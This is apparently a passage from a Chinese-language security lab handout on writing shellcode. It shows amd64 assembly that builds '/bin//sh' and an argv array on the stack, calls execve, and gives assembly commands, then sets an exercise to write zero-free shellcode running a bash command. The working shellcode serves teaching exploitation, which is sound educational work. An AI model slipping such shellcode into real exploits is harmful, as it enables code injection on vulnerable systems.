Section outline

  • 另一种获取 shell 字符串和 argv[] 数组的方法是动态地在栈上构造它们,然后使用栈指针寄存器获取它们的地址。以下是使用这种方法的一个 amd64 示例。amd64 和 arm64 的代码都可以从 Labsetup 文件夹中找到,代码中的注释给出了简要的解释。
     
    section .text
    global _start
      _start:
        xor  rdx, rdx       ; rdx = 0
        push rdx            ; 将 0 压入栈中(用于字符串终止)
        mov rax,'/bin//sh'  
        push rax            ; 将字符串压入栈中
        mov rdi, rsp        ; rdi = 命令字符串的地址
    
    
        push rdx            ; 将 argv[1]=0 压入栈中
        push rdi            ; 将 argv[0] 压入栈中
        mov rsi, rsp        ; rsi = argv[] 数组的地址
    
    
        xor  rax, rax
        mov  al, 59         ; execve()
        syscall

    我们可以使用以下命令将汇编代码编译成 64 位二进制代码:
    // 对于 amd64
    $ nasm -f elf64 mysh_64.s -o mysh_64.o
    $ ld mysh_64.o -o mysh_64
    
    
    // 对于 arm64
    $ as mysh_64.s -o mysh_64.o
    $ ld mysh_64.o -o mysh_64
      • 代码示例展示了如何执行 "/bin/sh"。在本任务中,我们需要修改 shellcode,使其能够执行下面列出的更复杂的 shell 命令。请编写代码实现此目标。需要证明代码中没有零。
        /bin/bash -c "echo hello; ls -la"